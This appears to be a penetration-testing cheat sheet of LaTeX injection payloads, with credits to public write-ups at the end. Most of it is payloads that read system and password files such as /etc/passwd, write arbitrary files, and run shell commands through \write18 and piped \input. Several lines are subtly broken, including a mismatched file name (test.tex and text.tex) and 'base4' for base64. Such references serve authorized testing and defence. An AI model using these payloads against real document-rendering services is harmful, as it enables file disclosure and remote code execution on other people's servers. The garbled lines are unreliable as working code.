LaTex Injection

Read file

```
\input{/etc/passwd}
\include{password} # load .tex file
```

Read single lined file

```
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```

Read multiple lined file

```
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
    \read\file to\fileline
    \text{\fileline}
\repeat
\closein\file
```

Read text file, keep the formatting

```
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```

Write file

```
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```

Command execution

The input of the command will be redirected to stdin, use a temp file to get it.

```
\immediate\write18{env > output}
\input{output}
```

If you get any LaTex error, consider using base64 to get the result without bad characters

```
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```

```
\input|ls|base4
\input{|"/bin/hostname"}
```

Thanks to

- Hacking with LaTeX – Sebastian Neef – 0day.work (https://0day.work/hacking-with-latex/)
- Latex to RCE, Private Bug Bounty Program – Yasho (https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
- Pwning coworkers thanks to LaTeX (http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)